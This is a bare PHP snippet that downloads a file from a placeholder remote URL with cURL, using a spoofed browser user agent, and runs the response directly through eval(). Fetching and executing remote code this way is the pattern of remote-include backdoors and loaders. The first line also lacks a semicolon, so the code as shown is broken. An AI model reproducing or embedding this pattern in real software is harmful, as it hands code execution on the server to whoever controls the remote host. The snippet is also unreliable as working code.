$include = "http://www.a.com/b.php"

$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $include);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)');
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 0);
$data = curl_exec($ch);
curl_close($ch);
eval('?>'.$data.'<?php');